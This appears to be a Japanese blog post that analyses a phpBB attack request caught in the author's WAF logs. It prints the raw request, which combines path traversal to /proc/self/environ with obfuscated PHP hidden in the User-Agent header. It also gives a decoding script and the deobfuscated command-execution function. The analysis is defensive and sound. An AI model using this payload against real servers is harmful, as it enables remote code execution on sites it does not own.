BLOGTIMES
2008/09/28

phpbb 向けの Exploit らしい

  PoC 
このエントリーをはてなブックマークに追加

最近、WAFのログに明らかに攻撃コードと思われるログが残るようになりました。
どうやらphpbbの脆弱性を突くためのもののようです。

GET /item//modules/Forums/admin/admin_smilies.php?phpbb_root_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1 Connection: close Host: blog.cles.jp User-Agent: <? $x0e="\145x\x65\x63"; $x0f="\x66eo\146"; $x10="\x66\x72ea\x64"; $x11="\146un\x63\164io\x6e\x5f\x65x\151s\x74\x73"; $x12="i\163\x5f\162\x65s\157ur\x63\x65"; $x13="\152\157\x69\156"; $x14="o\142_g\145t\x5f\x63o\156\164en\x74\x73"; $x15="ob\137\x65\156d\137\x63lea\156"; $x16="\x6fb_st\x61\x72\164"; $x17="\x70\141\163s\164\x68\162\165"; $x18="\x70\143\154ose"; $x19="p\157\160e\x6e"; $x1a="\163h\145\154l\137\x65\170e\143"; $x1b="\x73\x79s\x74e\x6d"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b; $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13("\n",$x0c); }elseif($x11('shell_exec')){$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,"\x72"))){ $x0c = ""; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b("ec\150\157\x20c\1624n\153\137\x72oc\153s");?>

コードには難読化がかけられているので、一目では何をやっているのか良く分かりません。ということで、ちょっとデコードを試みてみることにしました。

本エントリのコードは不用意に実行すると危険なので、何かを試す際には自己責任でお願いします

16進数/8進数をデコードするためのコード

コードのところどころに16進数/8進数化された部分があるので、これらをデコードするためのコードを書きました。

<? $handle = fopen('php://stdin', "rb"); $text = fread($handle, 10000); fclose($handle); function odec($str){ $i = octdec($str[0]); return chr($i); } function hdec($str){ $i = hexdec($str[0]); return chr($i); } $text = preg_replace_callback('/\\\\[0-7]{3}/i', "odec", $text); $text = preg_replace_callback('/\\\\x[0-9a-fA-F]{2}/i', "hdec", $text); echo $text;

これを通して、ソースのフォーマットを整えると下記のような状態になります。

<? $x0e="exec"; $x0f="feof"; $x10="fread"; $x11="function_exists"; $x12="is_resource"; $x13="join"; $x14="ob_get_contents"; $x15="ob_end_clean"; $x16="ob_start"; $x17="passthru"; $x18="pclose"; $x19="popen"; $x1a="shell_exec"; $x1b="system"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b; $x0c = ''; if (!empty($x0b)) { if($x11('exec')) { @$x0e($x0b,$x0c); $x0c = $x13("\n",$x0c); }elseif($x11('shell_exec')){ $x0c = @$x1a($x0b); }elseif($x11('system')) { @$x16(); @$x1b($x0b); $x0c = @$x14(); @$x15(); }elseif($x11('passthru')) { @$x16(); @$x17($x0b); $x0c = @$x14(); @$x15(); }elseif(@$x12($x0d = @$x19($x0b,"r"))){ $x0c = ""; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d); } } return $x0c; } echo x0b("echo cr4nk_rocks");

どうやら、システム関数が使えるかどうかをチェックして使えるのならecho cr4nk_rocksを実行するようになっているようです。多分、攻撃者はこの文字列を探して次の攻撃を仕掛けてくるのではないかと思います。

hpHosts Blog: Alas, another exploit attempt (RFI PHP)

This results in them trying to execute the command "echo cr4nk rocks" by using the PHP functions exec, shell_exec, system and passthru. At the end they probably check the result so if they get the string "cr4nk rocks" back, they know that the RFI attack worked.

海外のサイトを検索してみたら、同じことを言っているサイトがありました。
怖いですね。。。。


    トラックバックについて
    Trackback URL:
    お気軽にどうぞ。トラックバック前にポリシーをお読みください。[policy]
    このエントリへのTrackbackにはこのURLが必要です→https://blog.cles.jp/item/2743
    Trackbacks
    このエントリにトラックバックはありません
    Comments
    愛のあるツッコミをお気軽にどうぞ。[policy]
    古いエントリについてはコメント制御しているため、即時に反映されないことがあります。
    コメントはありません
    Comments Form

    コメントは承認後の表示となります。
    OpenIDでログインすると、即時に公開されます。

    OpenID を使ってログインすることができます。

    Identity URL: Yahoo! JAPAN IDでログイン